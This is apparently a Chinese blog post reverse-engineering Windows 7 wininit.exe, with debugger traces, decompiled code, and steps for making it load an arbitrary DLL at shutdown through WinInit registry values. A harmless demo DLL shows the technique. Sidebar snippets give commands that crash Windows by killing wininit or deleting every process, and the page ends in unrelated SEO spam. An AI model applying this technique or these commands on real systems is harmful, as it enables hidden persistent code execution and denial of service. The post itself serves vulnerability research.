Win7 Wininit.exe任意加载/执行(漏洞)

17 篇文章 0 订阅
订阅专栏

1.背景:

a.Windows关机时,将调用NtShutdownSystem Native API来执行关机动作。

b.在WinXp时代,用户执行"关机"后,将由winlogon.exe调用NtShutdownSystem API;但是到了Win7时代,winlogon.exe不再司此职,而是交由Wininit.exe调用NtShutdownSystem API。 

c.进入win10后,虽然Wininit.exe中仍保留WinInitShutdown及PerformSystemRestore函数,但关机时不会由WinInitShutdown调用NtShutdownSystem Native API。因此该任意加载/执行漏洞不适用于win10。

2.正文:

在Win7上,给nt!NtShutdownSystem下断点后,当用户点击"开始"菜单--"关机"后会得到下列函数调用栈:

#搜索NtShutdownSystem Native API并下断点
kd> x nt!NtShutdownSystem
8318c3e6 nt!NtShutdownSystem = <no type information>
kd> bp nt!NtShutdownSystem


#关机后,windbg会中断在WinInitShutdown函数
kd> g
Breakpoint 0 hit
nt!NtShutdownSystem:
8318c3e6 8bff            mov     edi,edi
kd> kb
ChildEBP RetAddr  Args to Child              
95472c28 82ba3173 00000002 0019f8e8 76fea364 nt!NtShutdownSystem
95472c28 76fea364 00000002 0019f8e8 76fea364 nt!KiFastCallEntry+0x163
0019f8c4 76fc1814 00326205 00000002 003220c8 ntdll!KiFastSystemCallRet
0019f9c4 77557646 7ffd7000 0019fa10 76ff0915 ntdll!NtShutdownSystem+0xc
0019f9d0 76ff0915 7ffd7000 88d9a0a3 00000000 kernel32!BaseThreadInitThunk+0xe
0019fa10 76ff0b71 0032f0cd 7ffd7000 00000000 ntdll!__RtlUserThreadStart+0x23
0019fa28 00000000 0032f0cd 7ffd7000 00000000 ntdll!_RtlUserThreadStart+0x1b

上述调用堆栈不是很详细,切换到wininit进程,查看更具体的调用堆栈:

#枚举所有进程
kd> !process 0 0 
**** NT ACTIVE PROCESS DUMP ****

PROCESS 87bf19f0  SessionId: 0  Cid: 0180    Peb: 7ffd7000  ParentCid: 0148
    DirBase: 3fe820a0  ObjectTable: 99218a60  HandleCount:  88.
    Image: wininit.exe

#根据wininit的EPROCESS值,切换到wininit进程
kd> .process /i /p 87bf19f0  
You need to continue execution (press 'g' <enter>) for the context
to be switched. When the debugger breaks in again, you will be in
the new process context.
kd> g
Break instruction exception - code 80000003 (first chance)
nt!RtlpBreakWithStatusInstruction:
82b94a9c cc              int     3

#显示wininit进程更详细的信息 (包含线程及调用堆栈)
kd> !process 87bf19f0  7
PROCESS 87bf19f0  SessionId: 0  Cid: 0180    Peb: 7ffd7000  ParentCid: 0148
    DirBase: 3fe820a0  ObjectTable: 99218a60  HandleCount:  88.
    Image: wininit.exe

        THREAD 8e49c290  Cid 0180.0184  Teb: 7ffdf000 Win32Thread: ffb53978 WAIT: (Executive) KernelMode Non-Alertable
            95472958  SynchronizationEvent
            95472930  Semaphore Limit 0x12

        Win32 Start Address wininit!WinMainCRTStartup (0x0032f0cd)
        Stack Init 95472ed0 Current 95472708 Base 95473000 Limit 95470000 Call 0
        Priority 15 BasePriority 15 UnusualBoost 0 ForegroundBoost 0 IoPriority 2 PagePriority 5
        ChildEBP RetAddr  Args to Child              
        95472720 82a6a110 8e49c290 000031d8 00000000 nt!KiSwapContext+0x26 (FPO: [Uses EBP] [0,0,4])
        95472758 82a6b715 95472930 8e49c290 8e49c38c nt!KiSwapThread+0x394
        95472780 82a5bda6 8e49c290 8e49c350 00000000 nt!KiCommitThreadWait+0x461
        954728f8 83203019 00000002 95472974 00000001 nt!KeWaitForMultipleObjects+0x6d2
        95472980 83202d32 00000011 9762e350 00000004 nt!PopSleepDeviceList+0xe9
        954729d8 83202af3 95472a70 00000001 00000006 nt!PoBroadcastSystemState+0x236
        95472a00 83203d98 95472ad4 95472b58 8320398e nt!PopSetDevicesSystemState+0x63
        95472ac0 82ba3173 00000006 00000004 c0000004 nt!NtSetSystemPowerState+0x40a
        95472ac0 82b92c1d 00000006 00000004 c0000004 nt!KiFastCallEntry+0x163 (FPO: [0,3] TrapFrame @ 95472ad4)
        95472b44 83203a70 00000006 00000004 c0000004 nt!ZwSetSystemPowerState+0x11 (FPO: [3,0,0])
        95472c14 8318c418 00000006 00000004 c0000004 nt!NtSetSystemPowerState+0xe2
        95472c28 82ba3173 00000002 0019f8e8 76fea364 nt!NtShutdownSystem+0x32
        95472c28 76fea364 00000002 0019f8e8 76fea364 nt!KiFastCallEntry+0x163 (FPO: [0,3] TrapFrame @ 95472c34)
        0019f8c4 76fc1814 00326205 00000002 003220c8 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
        0019f8c8 00326205 00000002 003220c8 003215a0 ntdll!NtShutdownSystem+0xc (FPO: [1,0,0])
!!----> 0019f8e8 00327f4e 00000002 00336904 00531ceb wininit!WinInitShutdown+0x186 (FPO: [Non-Fpo])
        0019f934 0032ef64 00320000 00000000 00531ceb wininit!WinMain+0xcd3 (FPO: [Non-Fpo])
        0019f9c4 77557646 7ffd7000 0019fa10 76ff0915 wininit!_initterm_e+0x1a1 (FPO: [Non-Fpo])
        0019f9d0 76ff0915 7ffd7000 88d9a0a3 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
        0019fa10 76ff0b71 0032f0cd 7ffd7000 00000000 ntdll!__RtlUserThreadStart+0x23 (FPO: [Non-Fpo])
        0019fa28 00000000 0032f0cd 7ffd7000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])

逆向WinInitShutdown实现,发现它会调用内部函数:PerformSystemRestore

 逆向该PerformSystemRestore函数,还原得到如下示意代码(完整代码见附件wininit.idb):

MACRO_ERROR __stdcall PerformSystemRestore(void (__stdcall *a1)(const unsigned __int16 *))
{

  Status = RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Control\\WinInit", 0, 3u, &phkResult);
  Status = RegQueryValueExW(phkResult, L"RestoreInProgress", 0, &Type, Data, &cbData);
  if ( Type != 4 )
  {
    Status = ERROR_INVALID_DATA;
    goto LABEL_52;
  }
  if ( *(_DWORD *)Data )
  {
    cbData = 522;
    Status = RegQueryValueExW(phkResult, L"RestoreModule", 0, &Type, (LPBYTE)v11, &cbData);
    if ( Status || Type != 1 || cbData < 2 || *((_WORD *)&Status + (cbData >> 1) + 1) )
    {
      if ( Status == ERROR_SEVERITY_SUCCESS )
        Status = 13;
    }
    else
    {
      cbData = 261;
      Status = RegQueryValueExA(phkResult, "RestoreFunction", 0, &Type, &v13, &cbData);
      if ( Status || Type != 1 || cbData < 1 || *(&v12 + cbData) )
      {
        if ( Status == ERROR_SEVERITY_SUCCESS )
          Status = 13;
      }
      else
      {
        v2 = LoadLibraryW(v11);
        hLibModule = v2;
        if ( v2 )
        {
          ProcAddr = GetProcAddress(v2, (LPCSTR)&v13);
          if ( ProcAddr )
            goto LABEL_56;
          Status = GetLastError();
          if ( Status == ERROR_SEVERITY_SUCCESS )
            RtlAssert("ERROR_SUCCESS != dwRet", "d:\\w7rtm\\ds\\security\\umstartup\\wininit\\srestore.cxx", 0xA4u, 0);
        }

      }
    }
  }

LABEL_57:
  if ( ProcAddr )
  {
//调用RestoreFunction指向的函数
    ((void (__stdcall *)(_DWORD))ProcAddr)(a1);
  }
  if ( phkResult )
    RegCloseKey(phkResult);
  if ( hLibModule )
    FreeLibrary(hLibModule);
  return Status;
}

这段函数流程为:

1.检查注册表HKLM\SYSTEM\CurrentControlSet\Control\WinInit下是否有DWORD键RestoreInProgress;

2.如果RestoreInProgress存在,且值为1。则继续搜索是否存在字符串键RestoreModule和RestoreFunction;

3.如果RestoreModule和RestoreFunction键值存在,则调用LoadLibrary和GetProcAddress获得RestoreFunction函数地址;

4.以上步骤执行正确,则执行RestoreFunction所指向的函数。

3.利用方式:

发现了PerformSystemRestore函数的执行流程,对应的利用方式可以说是手到擒来:

1.在注册表HKLM\SYSTEM\CurrentControlSet\Control\WinInit下手动创建RestoreInProgress/RestoreModule/RestoreFunction三个键,如下:

 2.将RestoreModule指向的Dll放到%SystemRoot%/System32路径下,以下是我做的测试函数及导出函数,导出函数函数名必须与RestoreFunction的键值一致。出于演示目的,往c盘根目录下创建一文件:

extern "C" SHUTDOWNRESTORE_API int ShutdownRestore(void);

SHUTDOWNRESTORE_API int ShutdownRestore(void)
{
	FILE* flagFile;
	char ctmBegin[32] = {0};
	time_t tmNow = time(NULL);
	tm *ptmNow = localtime(&tmNow);
	strftime(ctmBegin, 32, "%Y%m%d%H%M%S", ptmNow);
	flagFile = fopen("c:\\loaded.txt","a+");
	fwrite(ctmBegin,32, 1, flagFile);
	fclose(flagFile);
	return 0;
}

 

3.关机时,即可执行任意代码,并且被加载的Dll具有和wininit.exe相同的权限!

正文wininit.exe对应的pdb

蓝屏解决办法,及介绍。(装逼或学习)
Wumija的博客
05-11 6648
快速蓝屏win+R 输入taskkill /f /im wininit.exe bat代码:for /f %%I in (‘wmic process get Name’)do (wmic process where Name="%%I" delete) 当您在运行Microsoft Windows 2000/XP/Server 2003、Microsoft Windows Vista/Server 2008、Microsoft Windows 7操作系统时,Windows可能会突然停止正常运行,并显示一副含
Win7 Wininit.exe任意加载/执行(漏洞) 附件
04-07
Win7 Wininit.exe任意加载/执行(漏洞) 一文 附件
Wininit.ini,文件与病毒
chy2z的专栏
04-25 2742
Wininit.ini,文件与病毒   一、Wininit文件工作机制在Windows中,一个可执行文件如果正在运行或某个库文件(*.dll、*.vxd、*.sys等)正在被打开使用,则不能被改写或删除。例如,你不可能在资源管理器中删除Windows的Explorer.exe。而在Windows的GDI界面下,有一些文件一直处于这种状态下,除Explorer.exe外,还有显示驱动程序库文件
启动应用程序出现wininit.exe找不到问题解决
最新发布
wbcmbfy的博客
07-01 696
其实很多用户玩单机游戏或者安装软件的时候就出现过这种问题,如果是新手第一时间会认为是软件或游戏出错了,其实并不是这样,其主要原因就是你电脑系统的该dll文件丢失了或没有安装一些系统软件平台所需要的动态链接库,这时你可以下载这个wininit.exe文件(挑选合适的版本文件)把它放入到程序或系统目录中,当我们执行某一个.exe程序时,相应的DLL文件就会被调用,因此将缺失的文件放回到原目录之后就能打开你的软件或游戏了.那么出现wininit.exe丢失要怎么解决?
wininit.exe文件丢失导致程序无法运行问题
2301_76755223的博客
04-17 579
其实很多用户玩单机游戏或者安装软件的时候就出现过这种问题,如果是新手第一时间会认为是软件或游戏出错了,其实并不是这样,其主要原因就是你电脑系统的该dll文件丢失了或没有安装一些系统软件平台所需要的动态链接库,这时你可以下载这个wininit.exe文件(挑选合适的版本文件)把它放入到程序或系统目录中,当我们执行某一个.exe程序时,相应的DLL文件就会被调用,因此将缺失的文件放回到原目录之后就能打开你的软件或游戏了.那么出现wininit.exe丢失要怎么解决?
Windows7系统wininit.exe文件丢失问题
amio555的专栏
12-11 571
其实很多用户玩单机游戏或者安装软件的时候就出现过这种问题,如果是新手第一时间会认为是软件或游戏出错了,其实并不是这样,其主要原因就是你电脑系统的该dll文件丢失了或没有安装一些系统软件平台所需要的动态链接库,这时你可以下载这个wininit.exe文件(挑选合适的版本文件)把它放入到程序或系统目录中,当我们执行某一个.exe程序时,相应的DLL文件就会被调用,因此将缺失的文件放回到原目录之后就能打开你的软件或游戏了.那么出现wininit.exe丢失要怎么解决?
wininit.exe
12-27
wininit
【动态链接库】自己编写的AttachKiller.dll,注入wininit.exe可以绕过360写扇区
12-15
一个动态链接库,使用各种dll注入器注入wininit.exe可以在360、火绒等安全软件运行的情况下写入扇区(需要管理员权限)
taskkill -f -im wininit.exe
06-11
这是一个用于 Windows 操作系统的命令行命令,可以强制结束 wininit.exe 进程。wininit.exeWindows 操作系统中的一个重要进程,主要负责系统的初始化和启动任务,因此关闭该进程可能会导致系统异常或崩溃。因此...
浅谈init进程
大叶子不小的博客
01-30 714
所谓进程就是系统中正在运行的程序,进程是操作系统的概念,每当我们执行一个程序时,对于操作系统来讲就是创建了一个进程,在这个过程中操作系统对进程资源的分配和释放,可以认为进程就是一个程序的一次执行过程。完成加载系统后,演变为进程调度、交换。所以说init进程是Linux系统操作中不可缺少的程序之一,如果内核找不到init进程就会试着运行/bin/sh,如果运行失败,系统的启动也会失败。在这里我们就主要讲解下init进程,init进程由0进程创建,完成系统的初始化,是系统中所有其他用户进程的祖先进程。
Win7系统提示找不到wininit.exe文件的解决办法
file
03-19 966
其实很多用户玩单机游戏或者安装软件的时候就出现过这种问题,如果是新手第一时间会认为是软件或游戏出错了,其实并不是这样,其主要原因就是你电脑系统的该dll文件丢失了或没有安装一些系统软件平台所需要的动态链接库,这时你可以下载这个wininit.exe文件(挑选合适的版本文件)把它放入到程序或系统目录中,当我们执行某一个.exe程序时,相应的DLL文件就会被调用,因此将缺失的文件放回到原目录之后就能打开你的软件或游戏了.那么出现wininit.exe丢失要怎么解决?
win 7使用mimikatz实现MS14-068漏洞
weixin_46208714的博客
05-31 243
一、漏洞说明 该漏洞可能允许攻击者将未经授权的域用户账户的权限,提权到域管理员的权限。 微软官方解释: https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2014/ms14-068 12 ...
WININIT.INI文件与Windows病毒(注:如果替换正在使用系统文件)
yypp的专栏
05-27 2889
WININIT.INI文件与Windows病毒 周志方★用过Windows 9X的人都见过如下的提示信息:Please wait while Setup updates your configuration files.This may take a few minutes...在安装完某个软件或者硬件的驱动程序,应安装程序的要求重新启动Windows时,常常看到上述信息。
init启动进程
weixin_34151004的博客
08-26 477
init启动进程需要读取()配置文件 1,启动init进程的配置文件是/etc/inittab 2,/etc/sysvinit是系统初始化用的 /sbin/init在核心完整的加载后,开始运行系统的第一支程序,主要的功能就是准备软件运行的环境,包括系统的主机名称、网络配置、语系处理、文件系统格式及其他服务的启动等。 /bin/sh解释脚本的shell命令,开机后运行 /...
Windows-自启动方式完全总结!
cnbird's blog
02-02 1025
一.自启动项目: 开始---程序---启动,里面添加一些应用程序或者快捷方式. 这是Windows 里面最常见,以及应用最简单的启动方式,如果想一些文件开机时候启动,那么也可以将他拖入里面或者建立快捷方式拖入里面.现在一般的病毒不会采取这样的启动手法.也有个别会. 路径:C:/Documents and Settings/Owner/「开始」菜单/程序/启动 二. 第二自启动项目: 这个是很明显却
怎么让电脑快速蓝屏
热门推荐
Hi_KER的博客
07-25 8万+
首先声明:请合理使用以下技能,不要搞破坏,no zuo no die! 以下讨论基于是Windows环境 很简单,首先同时按win+R键,启动运行,然后输入:taskkill/f/imwininit.exe,然后按Enter键 很快你的电脑就会蓝屏了 原理解释:taskkill -f -im(等价于 taskill /f /im)命令用于强制结束进程,而wininit.exe是...
如何让电脑快速蓝屏(只是个玩笑)
PanDaoxi
01-24 1万+
如何让电脑快速蓝屏
写文章

热门文章

  • IDA反编译器的使用 52798
  • Mysql设置初始化密码和修改密码 36594
  • 51单片机PWM控制电机 27177
  • 使用DpInst安装驱动程序 22437
  • Crack内网通积分规则(基于版本3.4.3035) 21542

分类专栏

  • 协议分析 25篇
  • EFI 8篇
  • 器之卷 68篇
  • win内核 35篇
  • 调试器的实现 19篇
  • Exploit 20篇
  • 设备驱动 20篇
  • LiveCD 5篇
  • WDF框架分析 17篇
  • SQL Injection 20篇
  • linux内核 25篇
  • 单片机 12篇
  • 注入 32篇
  • 调试 122篇
  • Hijack 3篇
  • 保护 7篇
  • win内核 63篇
  • linux 23篇
  • Matlab 3篇
  • java 9篇
  • win 63篇
  • Exploit 17篇
  • bios 7篇
  • 溢出 11篇
  • win驱动 45篇
  • 抓包 37篇

最新评论

  • Cheat Engine进阶教程:gtutorial-i386闯关记 第三关 [完结撒花]

    m0_74685959: 可以先跑到门里再改数据为12

  • [原创]ACPI.sys,从Windows到Bios的桥梁(2):Windows应用程序响应主板上GPIO(SCI)设备中断 软件篇

    2301_80312182: 大佬求带表情包

  • [原创]ACPI.sys,从Windows到Bios的桥梁(2):Windows应用程序响应主板上GPIO(SCI)设备中断 软件篇

    四不像z: 大佬可以分享源码工程让我们学习下吗

  • Ettercap系列III:ettercap插件/DNS欺骗

    Dejavu_^_^: 博主你好,请问下我想让etter.dns配置一个域名多个ip应该怎么配置呢

  • 演示Heap Spray(堆喷射)的原理

    satadriver: 应该要设置内存属性可执行才行

大家在看

  • 教你如何在微信小程序中轻松实现人脸识别功能 317
  • 助你超越同龄人的35个杀手锏工具
  • Ch11_2
  • SSL证书申请需要多久?SSL证书如何申请? 656
  • 成功运行的孪生网络

最新文章

  • Scapy样例三则
  • 从应用层到MCU,看Windows处理键盘输入 [2.a.1.传球手User32.dll]
  • 从应用层到MCU,看Windows处理键盘输入 [1.在应用层调试Notepad.exe (按键消费者)]
2023年4篇
2022年3篇
2021年6篇
2020年30篇
2019年38篇
2018年103篇
2017年93篇
2016年115篇
2015年62篇
2014年19篇

目录

目录

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值

玻璃钢生产厂家西安玻璃钢雕塑厂商绵阳人物玻璃钢雕塑造型贴金玻璃钢仿铜雕塑龙恩施玻璃钢商场美陈兰溪玻璃钢雕塑联系方式自发光动物玻璃钢雕塑玻璃钢恐龙雕塑哪家价格实惠信阳室内不锈钢玻璃钢仿铜雕塑商场玻璃钢花盆报价宿迁玻璃钢人物雕塑定制黔南玻璃钢景观雕塑规格西安迪庆玻璃钢人物雕塑莆田手糊法玻璃钢雕塑设计邳州玻璃钢花盆花器陆丰玻璃钢胸像雕塑郑州玻璃钢造型雕塑南京梅州玻璃钢卡通雕塑北京常用商场美陈销售济南仿铜玻璃钢雕塑公司天津人物玻璃钢雕塑厂家智能家居商场美陈山东艺术商场美陈市场价动物玻璃钢雕塑定做日照玻璃钢雕塑制作商场美陈婚庆季四川室内商场美陈报价青岛卡通雕塑玻璃钢合肥动物玻璃钢雕塑安装江门玻璃钢景观雕塑款式多样上海特色玻璃钢雕塑方法香港通过《维护国家安全条例》两大学生合买彩票中奖一人不认账让美丽中国“从细节出发”19岁小伙救下5人后溺亡 多方发声单亲妈妈陷入热恋 14岁儿子报警汪小菲曝离婚始末遭遇山火的松茸之乡雅江山火三名扑火人员牺牲系谣言何赛飞追着代拍打萧美琴窜访捷克 外交部回应卫健委通报少年有偿捐血浆16次猝死手机成瘾是影响睡眠质量重要因素高校汽车撞人致3死16伤 司机系学生315晚会后胖东来又人满为患了小米汽车超级工厂正式揭幕中国拥有亿元资产的家庭达13.3万户周杰伦一审败诉网易男孩8年未见母亲被告知被遗忘许家印被限制高消费饲养员用铁锨驱打大熊猫被辞退男子被猫抓伤后确诊“猫抓病”特朗普无法缴纳4.54亿美元罚金倪萍分享减重40斤方法联合利华开始重组张家界的山上“长”满了韩国人?张立群任西安交通大学校长杨倩无缘巴黎奥运“重生之我在北大当嫡校长”黑马情侣提车了专访95后高颜值猪保姆考生莫言也上北大硕士复试名单了网友洛杉矶偶遇贾玲专家建议不必谈骨泥色变沉迷短剧的人就像掉进了杀猪盘奥巴马现身唐宁街 黑色着装引猜测七年后宇文玥被薅头发捞上岸事业单位女子向同事水杯投不明物质凯特王妃现身!外出购物视频曝光河南驻马店通报西平中学跳楼事件王树国卸任西安交大校长 师生送别恒大被罚41.75亿到底怎么缴男子被流浪猫绊倒 投喂者赔24万房客欠租失踪 房东直发愁西双版纳热带植物园回应蜉蝣大爆发钱人豪晒法院裁定实锤抄袭外国人感慨凌晨的中国很安全胖东来员工每周单休无小长假白宫:哈马斯三号人物被杀测试车高速逃费 小米:已补缴老人退休金被冒领16年 金额超20万

玻璃钢生产厂家 XML地图 TXT地图 虚拟主机 SEO 网站制作 网站优化